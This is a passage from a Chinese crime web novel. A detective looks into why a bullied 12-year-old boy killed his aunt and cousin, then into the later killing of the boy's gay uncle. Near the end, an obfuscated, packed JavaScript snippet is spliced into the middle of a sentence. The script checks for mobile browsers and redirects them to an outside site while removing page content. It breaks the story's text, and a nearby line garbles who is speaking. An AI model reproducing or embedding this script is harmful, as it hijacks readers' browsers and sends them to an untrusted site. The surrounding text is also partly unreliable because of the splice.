《猫,猪和死亡》 1. 第一章 旧案 一 12岁男孩决心一定要去见网吧的朋友是在星期天和朋友通话后。所以下课后他朝着网吧的方向去了。这男孩路上遇见了同班的同学。同学们都叫这男孩赵安东。当同学半年,他们还不是好朋友。 "喂,赵安东?你钱哪来的?你爸爸和妈妈都不要你了。" "没有人喜欢你." "啧。被骂也没有表情,脸皮太厚了。” 几个小孩子围在赵安东的身边,大家都挡着他的路,不让他过去。在这一天下午将要过去,傍晚就要来临的时候,赵安东发现自己能见着朋友的时间不多。那是他离开自己家在这个陌生城市读书认识的唯一一个朋友。赵安东认识他,是在网吧玩游戏的时候认识的。他被农村的父母送到小镇读书,从他被送到小镇开始,他好像只被丢在外面的野猫,谁都可以欺负他一下。只有游戏里和他一起的玩家才愿意听他说说话。那是他糟心生活里唯一的窗户,让他还能看看太阳。他心想自己不理这些人就好了。于是他就不说话,硬是要在这群人之间走过去。走的时候还被几个人用力推到了地上。 这是初秋的季节,街道两旁的树叶,在秋风吹动下碰撞着如同海浪的声音。即将落日,天空如火烧般通红。这些红色很快在赵安东的手臂上出现。赵安东穿着长袖衣衫很容易被人拽着,这群孩子凑在一起,大人们远远看着也摸不清头脑。他就这样被人拉扯着,耳边全是威胁着他的话。 “ 你敢去网吧玩我就告诉你姑姑。” “ 你偷偷玩电脑,你肯定会被骂。” “你学习这么烂,农村小孩都是猪脑子吧。” “你在农村学习好,有什么用啊?” “你以为你是谁啊,有脸跟我们比。” 那一瞬间,两边的同学们站在赵安东面前说脏话的样子,瞄准了赵安东的心,学校暴力的子弹再次瞄准了赵安东。赵安东担心事情会进一步扩大,眼神不再与他们对视。辱骂声和斗争暂时停止后, 虽然想推翻悲伤的一天, 但不能哭只是压抑情绪,但内心痛苦和愤怒持续不断。也许如果自己不说话,他们会觉得没意思,他们就会离开。可这时又改变了主意,赵安东便在他们中间站住,双手拿着书包,像拿着个铁锤,他抬头看了看这群人随后用书包砸了几个人的脑袋离开。这种小孩之间打闹的事情在一些人看来是很平常的,路上的人都只是远远看了眼就离开了。没人去帮助他们。 赵安东跑得快。身后的人嘴里仍然“你停下”地叫着。因为知道停下来就要被人打,赵安东仿佛没有听到一样,依旧在路上迅速的奔跑着。一只猫被他的举动吓得跳到墙上去。猫似乎知道人不能跳到围墙上面,它什么事都没有,姿态优雅地散步在围墙上面。它看起来非常自由,就像一只不是猫,而是在树梢上没有被抓住而四处散落的柳叶一样。当天下午跑到网吧的瞬间,赵安东看到了猫,又想起了姑姑家附近的流浪猫。 他就撇了一眼,想起姑姑家外的流浪猫,去网吧玩完游戏他想回去再试试摸摸那只猫。从他被父母扔到姑姑家,他就没能碰到那只猫。他跑进网吧,虽然未成年人不能去网吧,但如果能见到正在打工的朋友,很快就能改变他的年纪,他可以马上成为成年人。只是发生了令人惋惜的事情。赵安东打个电话,他也已经下班了。于是,赵安东从网吧的后门走了过去。 当跟着他追来的一群人已经完全追不到他的时候,赵安东已经悠悠然跑回家。家里听到姑姑的两个孩子都没在家,他立刻进屋打开电脑。游戏还是那款游戏,他偷偷下载的。这会登陆的时候网速是比在网吧缓慢多了。他的反应能力也跟着变缓慢了。这时他感到身后有开门的声音。当他听到到声音时,那人其实已经站在家里了,于是他回过头来张望…… 李慈不知道今天赵花在家里的突发事件。李慈往家走的时候觉得奇怪,从楼下看上去,家里竟然没有亮灯。往日这个时候,妻子赵花应该在家做好饭菜,在厨房洗锅收尾才对。今天黑漆漆的家里让他下意识觉得不对劲,但是但一时又想不起其中状况。在公司工作结束后,他喝醉了回家。但是回家的时候总觉得奇怪。衡安市幸福小区的建筑中,只有自己家没有开灯。平时这个时间家里人都回来了,两个孩子写作业,妻子要做料理,今天为什么会这样,他走得更快。看着更黑暗、打扫得更好的房子,比平时更安静,所以李慈下意识地感到奇怪。但是他还不知道其中有什么理由。 于是,李慈心里揣测着原因,又快速地走了过去。家里最近来了亲戚家的侄子赵安东,原本他是非常不愿意这个小孩来家里住的。农村里没学校不读书也挺好的,反正早点出去打工也挺不错。但小孩真的来家里的时候,他似乎又常常觉得也还不错。不过即使他觉得不错也不会说出来,有些事情是需要被藏起来的。李慈家居住的建筑有6层。恒安市6层和6层以下的建筑物是1985年左右建造的,因此几乎没有电梯。所以李慈只能爬楼梯。走到楼梯间的时候,他总觉得空气里味道不对,李慈上楼梯时闻到了血腥味。李慈觉得那个味道也很奇怪,想着万一能在邻居家做鸭血吃,不过他也喜欢吃,于是他就兴致勃勃地往家赶去。但是当他到家时,用钥匙开门,闻到血腥味的味道变得更浓了。一开门他就看到恐怖的场面,吓得瘫坐在地上。天塌地陷,李慈脑子里什么都没有。他把毕生的精力都运在两腿上,沿着楼梯逃跑了。 夏季炎热,食物不好保鲜。此刻黄昏日落,在路上走着草丛边走出来几只流浪的小猫。最近好多人在抓流浪猫和流浪狗,大多都被带去救助站关着等着领养,但还是有很多抓不到的猫。刚结束一天工作的何甜走过去想要摸摸小猫,猫咪立刻慌忙转过身跑走了。还想喂点肉条给猫,现在看来是不需要了。 作为恒安小学的语文老师,她准备继续去往学生家里家访。突然听到有人尖叫了一声。那声音听起来有些奇怪,很快安静下来。随后她看到有个人从远处没命地奔跑了起来。可能是看到站在路灯下的她,那人趔趄着跑过来,满脸泪水鼻涕。一看到她就惊慌地哭了起来。哭了一阵后,才喊着叫120,还没等问发生了什么,她就听到远处又喊了一声音:“杀人了!” 这时天色完全变暗了。网吧外面路灯忽明忽暗,屋子里闹哄哄的,赵安东因为什么烦心事表情不好。而且有约的朋友到现在还没有登录游戏,他急躁万分,似乎快要流下眼泪了。鼠标被他按住开始发出声音,有规律的声音似乎在记录网吧出入者。 大街上来往着很多人,一群人来到网吧。是警察。网吧里的照明灯坏了,看不清,房间里特别暗。电脑灯光照在赵安东脸上,朋友还没来他就灰心丧气地随机和玩家玩起了游戏。当他以为能赢一局时,有人走过来就抓住他的胳膊 他回过头来对他们说。 "你来了!"看到这个情景,大家都大吃一惊。看到大家都愣住了,赵安东又补充说: "那走吧。" 他早就猜中了警察抓捕他的结果。 二 虽然刑警组长所看到的案件很多,但从未见过12岁的孩子杀死同龄孩子和大人的案件。听着刑警组成员介绍事件现状的信息,翻阅资料的他的表情无法用语言来形容。 谢正来到局里的时候,听说嫌犯已经被抓捕归案了。但是他还是得去现场走一圈,谢正觉得这个案子还是要严谨的查询,现场的勘查必不可少。他们到达作案现场的时候,东方的天微微变白起来,道路旁的树木隐隐约约,影子随着风而动。 整栋楼都被拉了警戒线,法医早已勘查完现场,尸体也被带回了局里的等待法医进一步确认。 好些个周围楼栋的邻居黑着灯探出头看看发生了什么事情。有的人好奇,就有人被一巴掌拍脑袋抓回去,谢正听着有人诶呦的小声,还有手拍脑袋的闷声。他视线看过去的时候,又没有了人。 现场的人看到有人来大家全迎了上去。 屋子里就是普通人家的屋子,客厅正对着厨房,卧室有两间,两个大人睡一间,两个孩子一人一个单人床。地面的血主要集中在卧室的电脑桌子边,还有就是客厅走进厨房的地方。有风吹进屋里,他看了眼客厅的窗户,巨大的树木盖住了可见的空间,有什么巨大的影子好像落在地上。 谢正看了看屋子里的各种设施,总体推断是个家境还不错的人家。但唯一看起来奇怪的是堆在床底下的蛇皮袋子,还有破旧的杯子和牙刷,厕所也有好几个看起来破旧的盆。牙刷放在床底下?谢正直直地盯着突然皱起眉头。 法医的验尸报告也很快出来了,死亡的小孩是正面重刀直接捅进心脏的。女性死者是被捅进大腿,随后是身躯,最后致命的一刀在脖子。死者就是这家的女主人赵花和儿子李恒。跟着谢正来的助手忍不住插嘴:“ 不是,这孩子手也太狠了,什么仇什么怨让他杀了一家人啊?这得亏是李慈回来的晚,不然说不定也得遭难。” 什么仇什么怨也得问问当事人。谢正在警局见到了这个案件中的凶手,在网吧被抓住的赵安东。 “是我杀了弟弟和姑姑。” 赵安东一脸平静地对谢正说。“ 你想问什么我都说。” “你为什么要杀他们?”谢正问。 “表哥说如果我在玩电脑就要告诉姑姑,” 孩子继续在说。“因此如果我不想被姑姑打就只能杀掉他了,我只能想到这个方法。” 孩子说到这里看着谢正,眼神依旧很平静,“ 本来我不想杀姑姑的,但是我都杀了表哥,姑姑不死被打死的就是我。” “你是怎么动手的?”谢正问。 这时赵安东看着他视线在他的五官上来回转悠。他安静了很久,最后才开口说:“ 用刀。” 谢正不禁皱眉。“你下刀的地方都很用力,而且基本都是致命伤。” “没有都是致命伤。” 孩子立刻喊了起来。 “为什么这样说?” “脖子,大腿,心脏,只有划开主动脉和大动脉才会死。”孩子很认真。 谢正皱眉,他问:“这是谁教你的?” 赵安东想了想后,一脸疑惑问道:“你不上生理卫生课吗?” 于是谢正便站了起来,看着赵安东。他很担心是不是案件中还有什么隐情导致孩子这样去做。他觉得跟学校生理卫生课的老师聊一聊很重要。而赵安东似乎对自己做的事情并没有悔恨。他看着谢正要离开,开口喊住了他,说道:“警察叔叔,我都说完了,明天我还要去上学。你能让我离开了吗?” 赵安东的声音很响亮。 “你要去上学?” “对啊,学生当然要去上学了。” 谢正听到着闭着眼睛深呼吸才在离开前说:“案子还没有查完,你只能在管教所呆着。” 一个未成年的罪犯通常都被关在未成年人管教所。不过谢正临走时,赵安东十分认真地对他说:“那你只能跟我的班主任说,要来管教所家访了。” 这个孩子太可怕了,看起来像是个没有情感的机器,他非常清楚自己是杀人了,但是却对自己的所做所为没有一点悔恨的情绪。再者谈论杀人手法的时候提到学校里的人,谢正觉得自己有必要去一趟学习。从目前掌握的情况看,赵安东杀人动机非常清楚,一个是不让他玩电脑要跟家长告状,一个是害怕姑姑打人变为杀人。是时间看就是昨日放学后的时间段,小孩在杀人犯罪后拿钱去了网吧。据实施抓捕的警察所说孩子被抓的时候身上没有血,而家里也发现了被水洗过的衣服。 水洗的衣服?赵安东没有处理掉杀人的刀具,反而去水洗了衣服?而且还有学校的老师有没有引导的嫌疑,这些都需要查证。下午局长打电话来询问时,谢正将上述情况做了汇报。 三 恒安小学的老师和学生也没想到有一天要被警察问话。尽管关于案件信息都是保密的,但是基本大家都知道发生了什么事情。自己学校出了个杀人犯的学生,任谁想到都会害怕且不愿和这个事情有关。尤其是兼教生理卫生课程的班主任何甜对此非常的抗拒,但是作为现场附近的人又是赵安东提到课程的老师,刑警查案如果需要何甜她必须去配合录笔录。 何甜是恒安小学五年级的班主任,按道理12岁的赵安东到恒安市读书应该是六年级的,但是农村的教育水平有限。在农村还是个学习及其优秀的孩子在市区里就不得不留级一年。留级这种事情可是大事情。在一个喜欢什么年纪做什么事情的社会里,没能在12岁读六年级甚至还是因为留级是很容易被嘲笑的事情。 五年级的学生知道赵安东要留级的情节,尽管是过了挺多时间,但同班的学生都记忆犹新。就是家里长辈知道这个事情说了什么话,孩子们也记得很清楚。这就跟30岁还没结婚的谢正一直被家里人催结婚一样,同班的学生也会不断的在赵安东面前重复这个事情。他们仿佛碰上了百年不遇的稀奇事,对此忍不住批评询问好奇,然而赵安东的状态依然是仿佛无所谓一样。孩子们说的东西始终都是不成逻辑的,基本是想到什么就说什么的。 直到告诉他可以去何甜办公室闻讯,他才孩子们分开。有个小孩想说什么但是看谢正走的急就没敢说什么了。何甜很紧张,她也不知道这个事情怎么就跟她扯上关系了。她只是一个老师教了一门课程而已,怎么班上还会有杀了人的学生。这个事情让她寝食难安,学校也把她的课给停掉了。 谢正到的时候,就看到何甜在屋子里紧张的搓手。 何甜能遇上这种事情,让学校的人吃了一惊。因为在此之前谁也没想到正常听课的同学家竟然会发生这种事情,尤其何甜教的还是生理卫生课。所以为了某些原因学校也自然的先暂停了这门课的教学,大多都改成学生自学写其他课的作业。这件事对何甜打击挺大,学校老师都这样说。说是这个学生刚来的时候就是何甜班上的同学,学习成绩有很大的起伏都是她在关心。虽然赵安东给学校师生的印象是不怎么和人打交道,确实看起来不怎么喜欢说话。尽管如此,大家也只觉得是孩子刚换了学校一时不适应才这样的,但现在的事实却让他们百思不解。现在发生这个事情,学生的家长也有问题,学校建议是把赵安东的父母请来,这种事情也不是学校或者老师单独的责任。 这些事情都是谢正来到这里之前接收到的信息,但是尽管是这样,他也要来做何甜的笔录,她虽然没有出现在现场,但是也是在案发现场附近。她自然是说自己和这个案子真的无关。她说自己只是去家访而已。她发现学生的成绩出现问题,去学生家里家访询问不是很正常的吗? “谢警官你说,这难道不是老师正常要做的事情吗?” 何甜的情绪有点紧张和激动,“但是谁能想到有这样的事情发生。上课是教生理卫生知识,是为了让孩子自我保护的。” 这话确实没什么问题,但谢正改问别的。 “什么?赵安东说生理卫生课上学的人体哪里是致死点?” 这话让何甜很生气,听起来她像是参与了这个凶杀案一样,于是她据理力争:“这不是生理卫生课程应该教学的吗?人体由什么构成,人体器官有哪些?如果遇到危机要怎么处理伤口?男性女性的生理差异?这他妈的不就是学校开办这个课程,老师应该认真教给学生的吗?” “怎么能因为我教学了这个东西,学生失手杀了人,就都来怪我?凭什么?凭什么要来怪我?” 谢正虽然不知道发生了什么,但是听着何甜的声音,还是忍不住劝说。 “请你冷静一点,现在是警察问询的时候。” 说到这里,谢正的眼神看了眼窗外,有人一闪而过。 “对不起,我情绪有点控制不住。” 何甜从桌子上扯了张纸擦了擦眼泪。“我真的只是去家访,我都连家属楼还没走到,路上就看到李慈慌张的跑过来说杀人了。这个事情发生之后,我连家都回不去。” “ 为什么回不去家?” 谢正记录的时候有点好奇。 “ 我家和他家住上下楼。这孩子就是从刚来我就认识他,我就只是看着她成绩下降,我作为老师也很难过,谁不希望孩子们成绩好读个好中学,好的高中,好的大学,找个好工作,好好活着。” 她还说:“ 这孩子确实是底子还不错的,学习能力也好。但也是从农村来的,换个新环境总是要适应一下的。” 说起这些,她脸上似乎是想到什么。 何甜家就在楼下,其实她也经常听到楼上有什么声音,但是不是家访的时间,她也没办法次次去人家家里。多数都是两个小孩子的摩擦,这事情不涉及学习,她这个老师也没什么多管闲事的机会。反正她会注意一下,如果孩子打架太严重了,她就会打电话借询问作业有没有什么不会的,让李慈夫妻想起学习和成绩,阻止两个孩子让其各自去学习。偶尔没有关窗户的时候,她能听到楼上吵架声音,大多时间有声音,但很轻微。只能分辨出是谁在说话。有的时候只能听见什么东西掉落的声音。偶尔还会有奇怪的声音,大多时候夹杂着有人摔倒在地,绊倒椅子的声响。何甜觉得孩子老是这样被打也不行,有一次就打算上楼看看。 恒安市大多都是8.9层高的建筑,每一层有两户人家。有的人家是两层的门,有的人家是三层门。 一个实木门,一个纱窗门,还有一个铁质防盗门。李慈家就是三层门,那天她上楼的时候,看着好像是只有镂空的防盗门和纱门关着,屋里依旧有什么声音。到底是什么声音,何甜正想往楼上走,却听到了奇怪呻吟的声音。尽管很轻很短,可却很清晰。还有什么重物捶打在身上的声音。 ” 何甜女士?你在想什么怎么不回答问题?” “ 不好意思,我走神了没有听到。” 何甜听着谢正的声音,也没更多地去关注过去的事情。 “ 那我再问一遍,你经常去赵安东家进行家访吗?” 四 家访? 何甜坐在谢正的对面,原本因为紧张而变得通红的脸色有点微微变化。 “大多是考试后,平时我也不会去的。我也只能管学习的事情。其他事情我也管不了。” 谢正点点头。“其他事情是指什么?” 她蓦然怔住了,突然后悔自己还要多说一句话。但被这样问,她眼泪簌簌而下。“我就知道,你们怀疑我。” 谢正没有回答,而是继续问:“其他事情是指什么?” 何 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“正常的姑姑和侄子和气氛有点怪。”谢正重复一遍说,接着又补充道:“能详细说说吗?” 她怔怔地望着谢正,不知道该怎么办。 “你怀疑我?这个不是很正常吗?孩子学习成绩有波动,家长担心说话就凶了点。” “这样是什么问题吗?” 她似乎有些疑问。 “那小孩姑父在家访中呢?”谢正忍不住问起来,说:“他是什么态度?” 她有些疑惑表情的脸忍不住变了变,但立刻变正常了。“他没什么态度,他一般都会带着李恒出门。” “这样吗?” 谢正反问。 “你还需要我说什么吗?”她悲哀地望着谢正。 “你为什么这么抗拒我的询问?”谢正又问。 “我害怕。”她忍不住颤抖着说。 “你有什么可害怕的?” “我……” 她不知该如何回答,何甜低下了头,很快抽泣起来。 “我就知道。我就知道有这种事情,你们就会怀疑我,我只是一个老师。我能做什么呢?” 谢正大概明白她的情绪,这事情也是例行的盘查。至于这老师的情绪,谢正默默叹了口气。 谢正将目光投向窗外,影子还是在那。墙壁上灿烂的阳光在跳跃。 何甜情绪非常低落,像是有很大的委屈。 谢正对她说:“ 行,今天谢谢你的配合,如果有需要我会再来。” 五 说实话,这案子其实很简单。结果很明确了,杀手是未成年小男孩赵安东。凶器确凿,杀人过程小孩都说的清清楚楚。但是谢正总觉得其中还是有什么问题。是什么问题他也说不清楚。据周围邻居的人说法却有点奇怪。李慈是一个非常好的姑父,赵花是个非常严厉的姑姑,家里能收着乡下哥哥的孩子这么多年,已经是很不错的了。案子结束了,赵安东也关在管教所。新闻上沸沸扬扬的,但没有多久也就失去了热度。这样一桩故意杀人案,虽然凶手不是早有准备的,但是也是非常恶劣的杀人案件。 这天傍晚,谢正谢正又独自来到小区。上次的事情后,这个小区比以往变得更悄无声息。 他走在路上看到何甜骑着电动车回家,路上的人看到她都躲的远远的。路上李慈看起来很平静就像这个杀人事件没有发生一样,他还住在原来的地方。 谢正想要离开。这个时候,谢正又听到了有人在说话。那曾听到过的声音。于是他朝着说话的人,悄悄的往前走过去。 傍晚通红的晚霞走向了消亡,一切都这样暗淡下去。他将身体靠在了栏杆上,侧耳听着。 “你不知道,李慈也是惨,自己老婆和孩子被杀了。乡下的亲戚还要跑到市来闹。” “闹什么?他儿子这么样的,他有什么可闹的。” “ 咱也说不清楚,反正就是说李慈才是罪魁祸首,太可笑了哦。给人感觉就是……” 话到这没有说下去,指着脑袋的手和啧啧的声音都很刺耳。 “ 你不知道,好像是有些什么事情,但是谁也没去看过,谁也不知道。” “ 啊?我怎么听不懂?“ 声音消失了,风吹着树林的声音飘了上来。谢正看着那两人慢慢的走开。两人走路姿态凑在一起像是被扯开的□□。不一会就分开了,很快又贴合在一起。路上的行人走来走去。在谢正的视线里时隐时现。 天黑了,他感到不远处的光也不再像刚才那么白得明亮,开始模糊成烟花般的光团了。 在他不远处有一幢五层的大楼,就是曾经的案发现场,他转过身去时看到那个窗户里的灯光亮了,有人站在窗户边向外看着,明明看不清但是谢正总觉得是谁在看着他。 有什么东西在他脚边绕过去,他低头看了看有一只猫走在他的腿边,这会正在耳朵贴在他的身上。他从猫边上走开。 “ 喂。”有人喊了一声。 谢正看了一眼猫,还有声音来的地方。有个小孩追着猫跑来,谢正马上认出了他,是学校里的赵安东同学。 “你是警察?我在学校看到过你。”孩子跑到他跟前时这样问。 谢正点点头。 孩子看着不远处的地方问着:“ 你是来找何老师的吗?她已经不在学校当老师了。” 谢正问他:“什么时候的事情?” “很早就不在学校了。” “好像是赵安东不上课开始?”于是孩子变得垂头丧气,他说:“他不来上课真可惜。” 谢正拍拍孩子的脑袋,说:“为什么?” 孩子仰起头说:“他不在了,我就是倒数第一了。” “不过。”孩子离开,走了几步他突然转过身来说:“叔叔,学校里同学老师欺负我,你能帮忙吗?” 看着小孩要走自己也准备离开的谢正,听了这话后便停下脚步,他问孩子:“发生了什么?” “也没什么,就是班上同学总是不愿意搭理我,因为我学习不好。” “我哥哥学习也不好,他们老师劝他去读中专,不想让他去高考。” “算了,也不是什么大事,我还要回家看漫画了。” 孩子好像真的变得着急起来。 小孩跑的很快,像是奔赴什么快乐的世界。谢正看着他的身影,突然不知道该是什么表情。但他感到自己的呼吸有些颤抖,职业直觉告诉他,好像有什么事情不太对。 六 谢正真的觉得这个事情很奇怪。 他心里有一种猜测,但是却不知道要怎么确认。 案子已经结了,按照司法程序他没有再对这个案子进行查案的机会。但他再去问问李慈是个什么样的人,大家都说他是个好人,好像是现在也没有结婚,反而资助了一个孩子。 “资助了一个孩子?” 谢正重复。 “对啊,谁也没想到遇到了这些事情,他还是这样挺好的,而且听他那意思往后赵安东出来还想继续养着孩子。谁能想到当姑父的人而已,竟然这么好。不过估计也还是被吓到了,反正有什么事情都能让他吓到,最近经常去心理咨询。” 谢正听到这里不禁点点头。 路上看着谢正在附近晃悠,因为好奇走上去搭讪大婶这时候才问起来,说道;“不过你找李慈做什么?” “没有,我就是问问。” “也是,你这样的人多了,过来问事情的人挺多的。大家都挺关心的。” 大家都挺关心的。 谢正听着这句话,脑海里突然想起调查的时候,躲在墙壁后面的影子和何甜的哭腔。 这天晚上,局长还在,谢正在这天晚上找上门来了。他一看到局长就提到这个事情。局长听后一愣,然后反问着:“你要重新调查?” 谢正说:“我觉得有必要重新调查。” 眼看局长不搭理他,谢正又是一愣,他有点不知所措。 “你们办案子的过程有什么问题吗?难道是别人杀人,小孩挡抢吗?法医检测的结果不够明显?刺入的力气和位子都是只有孩子才能用的力气,死因是失血过多。你重新调查,是想告诉记者司法程序有问题?然后再上一次新闻?” “不是这样的。”他说。“我只是觉得李慈可能还有瞒着我们的。” “你以为只有李慈瞒着?” 局长哼了一声,继续说:“不管你发现什么,没有报案你没有理由去查别人,司法程序已经结束,这个案子已经结束了。” “局长。”他迟疑了一下,然后说:“我……知道了。” 谢正离开了办公室,在走廊里点了一支烟,走了没有几步,有人从他身边走过,那人看了他一眼又迟疑了一下,说道:“麻烦走廊里不能吸烟。” “我真的很讨厌你们。” 那人继续说了起来。“室内禁烟贴了几年了,怎么还这样呢?” 谢正点点头,表示知道了她的意思,然后说:“对不起,对不起,我去外面抽。” “罚款记得交。” 2. 第二章 旧案重查 一 恒安市的人挺多,对于这个已经走进了最后的案子。关心的人越来越少了。街道上的树绿了又黄, 天空如从前一样,只有离开了学校的何甜看起来有点失落。她坐在椅子那地面拉长的影子显得有些凄凉。谢正就是这个时候看到她的,他走到河边的椅子坐在他身边。 “案子都结案了。” 何甜看着他。“ 在你这个时候又来找我想了解什么?” “就是路上看到你,过来打个招呼。” 谢正手里拿着烟盒转。 “那没什么可看的,我现在就是在公园摆摊做点生意。” 何甜的声音闷闷的。 “就……当年那个案子是不是还有什么你知道的?”谢正犹豫了很久问道。 “是又怎么样,又要说我有什么问题吗?这些事情都过去了,我现在也没有什么想法。” 此刻公园的河里有一群天鹅已经走到了小河转弯处。天鹅就还有一只在河里转悠着,找不到方向。 谢正说:“ 我就是问问,这个事情总要知道原因的。” “ 知道原因?你是警察,你不知道原因?” “ 不是作为警察,是作为普通人,作为父母。” 何甜回过头看他笑着,然后用手一指说:“ 那你得问他的父母,我只是曾经是他的老师而已。“ 他听到这就愣住了。随即点头道谢起身离开了。 二 谢正见过小孩的父母,他们很普通。对于事情也是完全尊重司法程序。谢正站在那小小的坟堆旁,这里埋着事故中死亡的姑姑赵花和小孩李恒。墓前放着新的花束,听说是李慈也经常来看孩子和妻子,每次都带一束花。 谢正看了一会后,准备离开了。此刻中午的阳光投射在墓碑上,石头也被挂上了绸缎。这个时候阳光刺眼,他想到这要是走路上被晃眼睛应该就看不清了吧。随着想法而来的是电话,谢正接过电话,新的案子来了。谢正去往案发现场的路上走过一家小卖店,此刻店里的电视正滚动播放着新闻。 “据现场记者报道,此次凶杀案是凶手是名男性。其中死者是两名男性,据现场目击者所言,凶手当街行凶,行为恶劣。三人言语间透露情感纠纷。” 记者的声音下是市民的声音,非常嘈杂。 但是同性恋三个字还是让他停了下来。他朝电视望去,新闻已经被换台了。 “死者是李慈。” 谢正身旁一个人说。“我们一得到报案,就立刻去了现场。据凶手所言,李慈插足他和另外一位男性。就是……李慈插足了一对同性恋情侣。” “他是同性恋?他不是之前恒安小区那对被杀母子的家人吗?他是同性恋?他和女人结婚?他喜欢男人吗?插足同性恋情侣?” “这些事情不是你我去评价的,你注意点措辞和语气。” 在案发的当天中午,曾有目击者看到李慈和一位男子在街上逛街举止亲密,有人看到凶手一脸怒气手揣在口袋里走过去,但谁都说没在意。 “现场监控都看了?”谢正这时转过身去问。 “看了,而且凶手也交代了……”那人犹豫了一下,又说,“就是看不惯自己的男……朋友被别人抢走,然后当街行凶。” 谢正点点头,准备去审讯室。那人跟在后面,继续说:“一桩同性情杀案。谁也没料到他还会杀人,据另外一位受害者说,平时也都是性格很好的人,没想到就发生这个事情……”但他发现谢正已经不在听了,也就停止不说。 在一间病房的窗口,谢正又看到了李慈。他安静的躺在重症监护室,整个人被医疗器械包裹着。 谢正正在自顾自的在脑海里重复着李慈的新社会身份,但很快他想明白了什么转过脸去。他突然问道:“李慈是同性恋的事情,还有谁知道?” 三 谢正打算再去见赵安东的父母,两个在农村养猪的个体户。据村里人说,自从之前的凶杀案之后,他家的生意就不好了,现在不知道去了哪里。但就排查凶手的最近见过人,好像还有见到在菜市场卖猪肉的赵家夫妻。现在没有证据证明他的一些猜测,但他的直觉告诉自己这两个案件之间有千丝万缕的关系。只是他在确认之前绝对不能把自己的猜测当成行动的原则。 不过就这个情况而言,凶手见过赵家夫妻,他也需要对此进行排查。“你说老赵家啊,这个咋么跟你讲呢?” 被问话的村里人叹了口气说。“这个事情不好讲的,也是听别人说的,倒是我觉得安东那小子做事情也是太过火了。” 说话的老太太坐在谢正对面,她的脸干枯的像树皮,粗糙褶皱的双手轻轻搁在变形瘦弱的腿上。她的目光在远处望着。 此刻是在村子里,老太太说完那句话就安静下来,突然安静的村子里只有鸟清脆的声音。天空偶尔飞过大雁还是乌鸦的时候。老太太又说话了。 “就是也是人家兄妹的事情了,赵花小时候被送走给别人家养,是赵老大接回来的。这估计是两兄妹的隔阂吧。再者赵老大家里穷,赵花虽然嫁的好,但是男方还是不太行。” 她对谢正说,那声音让人觉得她似乎还有很多事情想说。也不知道是什么原因,在下午看到赵家夫妻不在村子里,他准备离开的时候,坐在家门口的老太太就突然喊了他。于是他就坐到这里来了。 “ 男方对赵家人都不怎么好,但是对赵安东倒是挺好的。每次来都给买很多吃的玩的,但是赵花却挺生气的,也不知道是为什么。都是自家孩子,也不知道为什么这样。” 听到这谢正微微一怔。 “ 那他们之前没什么其他的事情吗?听您说赵花的丈夫好像不太行?” 他此刻正询问似地看着老太爱,老太太又开始思考起什么一时间没有回答。 她仔细看了一会谢正,然后说:“对了,我想起来了。他就是会在赵花骂赵家夫妻的时候听着,等人快骂完了才拉架。” “骂人?他们都骂了什么。”谢正说。 “这怎么好在重复呢?”她惊讶地问。 这话让谢正也意识到不妥。他有点抱歉地看着她。 “也就是嫌弃没钱,穷,还有什么卖妹子?虽然她那丈夫是不怎么样,但也算不上卖妹子。我看小两口倒也挺好的。”她将目光移开,又回忆起来。 “我听说两人自由恋爱,也是在城里工作的时候认识结婚的,怎么还怪上老赵家卖妹子呢?” “这……”谢正想说赵花可能就是早知道对方是不喜欢女人,但一开口又犹豫起来。他想了想后才说:“那还有其他的吗?”他心想,这个事情他也只是猜测不能说猜测。 “其他的?” 老太太说。“ 其他的,我得想想了。” 只是老太太坐在原地很久都没有说话,谢正看着老人家缓慢的胸部起伏才松口气,等了没有多久就转身离开了。 “ 诶咦?谢警官就又来了?” 路上走来老太太的儿媳妇,她说着扭过头去在身后背着的框寻找着什么,找了一会才用手递给他一个苹果。“自家果园种的很甜的,你尝尝。”她用手递过去。 谢正点了点头。“谢谢了,不过下次吧。” “ 这次是来查案吗?”她略略有些好奇地问。 “没有。”谢正回答。“过来看看而已。” 她不禁微微一笑,接着继续问:“看赵家夫妻?” “他们不是没在这住了吗?”谢正低声说道。 “是吗?”她有些惊讶。“你还听到了什么?” “没有了。”谢正摇摇头。 “这就没有了?”她忍不住反问道。 “没有。” 谢正不再说话,反倒是掏出来烟准备离开了。扭过头去看着自己婆婆坐的地方,她脸上出现了了然的笑意。接着她回过头来问谢正:“ 我婆婆没跟你说什么?” “ 没有。” “没有?”于是她的目光变得好奇起来。 随后她指着赵家的房子说:“他们住那边知道吧。” 谢正偏起头,看到了房子。石头砌的墙没有抹水泥。 “现在搬走了,村里生意做不下去去城里了。” 她说。“城里卖猪肉多赚钱的,早知道不如早去自己养着孩子也不至于孩子变成这样。” 说到这里,她朝谢正微微一笑。“我这么说也不是觉得孩子干的事情是对的,但是这事情也难说。姑姑又不喜欢他还经常打骂,他父母也一样不被尊重。还有那个叫李慈的,别人都不知道。我可是偷偷看到他跟男人抱在一起,啧啧啧,男人和男人也能恋爱。” 接着她陷入了沉思之中,好像是想起来了什么脸上表情突然很嫌弃。“ 都知道自己喜欢男人,何必还耽误人家结婚生孩子守活寡?” 这时谢正听到老太太咳嗽的声音。那声音打断了对方想要继续说话的念头。她也听到了那声音。如此她脸上的神色也有了变化,像是说了什么不该说的东西。剩下的只是跟谢正告别就赶紧回去扶着老太太回家了。听到现在,谢正仿佛正在慢慢摸索清楚一些他原本就很疑惑的内容。 直到回了警察局,谢正还在思索着。 当他走到门口时,迎面看到抱着文件过来的队友小张。小张见到谢正快速的走过来。直到来到他身边时,队友才说话。 “队长?李慈抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495969|170187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救无效死了。”小张这样说。 “死了?”李慈立刻警觉起来。 “什么时候?” “就在刚才。” 四 李慈死亡的现场,有一个老实巴交的男人。 “我只是来看看他。” 他说。但看起来他似乎很不愿意到这里来。 “怎么也是亲戚,我就想着来看看他。我没想做什么的啊。这个事情我真的不知道。你们怎么就不能让我走?” 